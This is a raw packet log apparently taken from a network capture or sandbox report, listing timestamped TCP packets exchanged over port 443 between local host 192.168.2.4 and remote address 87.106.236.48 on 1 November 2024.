Nov 1, 2024 13:42:29.884790897 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.884824991 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.884830952 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.884860039 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.884877920 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.884886026 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.884891987 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.884923935 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.884932995 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.884939909 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.884989023 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.885042906 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.885060072 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.885106087 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.885113001 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.885150909 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.885226965 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.885241985 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.885289907 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.885296106 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.885334015 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.885374069 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.885390997 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.885437012 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.885442972 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.885483027 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.885530949 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.885545969 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.885582924 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.885588884 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.885638952 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.895308971 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.895342112 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.895405054 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.895417929 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.895443916 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.895461082 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.895490885 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.895507097 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.895534039 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.895540953 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.895565987 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.895580053 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.895760059 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.895778894 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.895812035 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.895817995 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.895842075 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.895854950 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.896034956 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.896050930 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.896094084 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.896100998 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.896111012 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.896133900 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.896162987 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.896169901 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.896187067 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.896209955 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.896420956 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.896435976 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.896481037 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.896486998 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.896528006 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.896547079 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.896567106 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.896598101 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.896605968 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.896625996 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.896644115 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.896795988 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.896814108 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.896852970 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.896861076 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.896879911 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.896898031 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.896965981 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.896991014 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.897017002 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.897022963 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.897047043 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.897062063 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.897082090 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.897097111 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.897140980 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.897146940 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.897188902 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.897489071 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.897505045 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.897536039 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.897542000 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.897567987 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.897581100 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.897622108 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.897639036 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.897675037 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.897681952 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.897702932 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.897716999 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.898618937 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.898634911 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.898678064 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.898684978 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.898724079 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.906769991 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.906790972 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.906847954 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.906861067 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.906912088 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.906991005 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.907008886 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.907038927 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.907046080 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.907088041 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.907107115 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.997586012 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.997617006 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.997665882 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.997680902 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.997721910 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.997762918 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.997762918 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.997792006 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.997812033 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.997836113 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.997872114 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.997884989 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.997903109 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.997921944 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.998275042 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.998291016 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.998331070 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.998338938 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.998363972 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.998383045 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.998477936 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.998493910 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.998529911 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.998537064 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.998603106 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.998656988 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.998827934 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.998843908 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.998887062 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.998894930 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.998908997 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.998945951 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.998991966 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.999012947 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.999063015 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.999068975 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.999113083 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.002038956 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.002055883 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.002101898 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.002110004 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.002139091 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.002150059 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.002336025 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.002357006 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.002391100 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.002401114 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.002413988 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.002443075 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.002537012 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.002556086 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.002592087 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.002600908 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.002629995 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.002639055 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.002897978 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.002913952 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.002954960 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.002964020 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.002979040 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.003000021 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.003097057 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.003117085 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.003153086 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.003160000 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.003182888 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.003201008 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.003226042 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.003251076 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.003290892 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.003298998 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.003324986 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.003335953 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.003514051 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.003532887 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.003593922 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.003602982 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.003652096 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.003793001 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.003810883 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.003844976 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.003850937 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.003880978 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.003890991 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.003938913 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.003953934 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.003993034 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.003999949 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.004015923 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.004039049 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.004147053 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.004168034 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.004219055 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.004228115 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.004239082 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.004267931 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.004411936 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.004435062 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.004472017 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.004478931 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.004512072 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.004524946 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.004559040 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.004575014 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.004614115 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.004620075 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.004653931 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.004689932 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.004726887 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.004735947 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.004739046 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.004757881 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.004800081 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.004964113 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.004980087 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.005031109 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.005038977 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.005050898 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.005083084 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.005103111 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.005110025 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.005124092 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.005136013 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.005162001 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.005186081 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.005215883 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.005254984 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.005261898 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.005276918 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.005307913 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.005461931 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.005479097 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.005522013 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.005528927 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.005557060 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.005565882 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.005647898 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.005680084 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.005716085 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.005723000 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.005749941 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.005760908 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.005923033 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.005940914 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.005976915 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.005985022 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.005999088 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.006027937 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.006078959 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.006097078 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.006125927 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.006133080 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.006156921 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.006167889 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.006297112 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.006325006 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.006355047 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.006362915 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.006386042 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.006398916 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.006764889 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.006787062 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.006827116 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.006834984 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.006850004 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.006858110 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.006869078 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.006874084 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.006891966 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.006906033 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.006942987 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.007062912 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.007078886 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.007116079 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.007122040 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.007136106 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.007162094 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.007467985 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.007483959 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.007529020 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.007535934 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.007579088 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.007589102 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.007603884 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.007658005 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.007664919 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.007688046 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.007812977 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.008079052 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.008100033 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.008136988 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.008145094 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.008158922 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.008189917 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.008194923 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.008207083 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.008227110 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.008249044 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.008255959 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.008275986 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.008301973 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.008447886 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.008466005 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.008517027 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.008524895 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.008555889 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.008568048 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.008584023 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.008590937 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.008609056 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.008622885 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.008660078 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.008666039 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.008712053 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.008809090 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.008855104 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.008877039 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.008910894 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.008917093 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.008938074 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.008943081 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.008954048 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:30.008960962 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.008981943 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:30.008991957 CET	49762	443	192.168.2.4	87.106.236.48
